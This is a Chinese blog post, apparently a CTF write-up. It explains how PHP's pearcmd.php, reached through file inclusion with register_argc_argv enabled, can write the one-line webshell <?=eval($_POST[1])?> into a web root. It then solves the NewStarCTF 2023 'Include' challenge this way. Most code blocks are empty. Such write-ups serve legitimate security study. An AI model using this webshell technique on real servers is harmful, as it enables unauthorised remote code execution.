pearcmd.php文件包含
前置与payload
利用pearcmd.php
文件包含的前提是register_argc_argv
这个要打开
pearcmd.php
文件的位置在 /usr/share/php/pearcmd.php
或 /usr/local/lib/php/pearcmd
两种文件位置的payload
1 |
|
1 |
|
?+config-create+/
: 触发pearcmd.php
中的配置创建功能&file=/usr/local/lib/php/pearcmd
: 指定要包含的文件路径&/
: 终止参数解析的特殊符号,迫使脚本停止处理后续参数,确保前面的参数被正确解析
这就是将一句话木马<?=eval($_POST[1])?>
写入了/var/www/html/shell.php
**注意:**要利用bp抓包进行传入,因为如果直接在浏览器中传参,php代码中的部分符号会被url编码之后再写入shell.php
文件中,就不会被当成php代码
题目实操
题目来源:[NewStarCTF 2023 公开赛道]Include 🍐
题目源码
1 |
|
提示phpinfo.php
中有东西,进行包含看看
1 |
|
1 |
|
是个假的flag,不过也是个提示,检查register_argc_argv
会发现register_argc_argv
是开着的,也就是说可以对pearcmd.php
文件进行包含利用
这里使用的在/usr/local/lib/php/pearcmd
payload
1 |
|
**注意:**要利用bp抓包进行传入,因为如果直接在浏览器中传参,php代码中的部分符号会被url编码之后再写入shell.php
文件中,就不会被当成php代码
然后直接浏览器访问/shell.php
进行RCE,POST传参1
1 |
|
1 |
|
也可以用蚁剑连
pearcmd.php文件包含
https://yschen20.github.io/2025/06/04/pearcmd-php文件包含/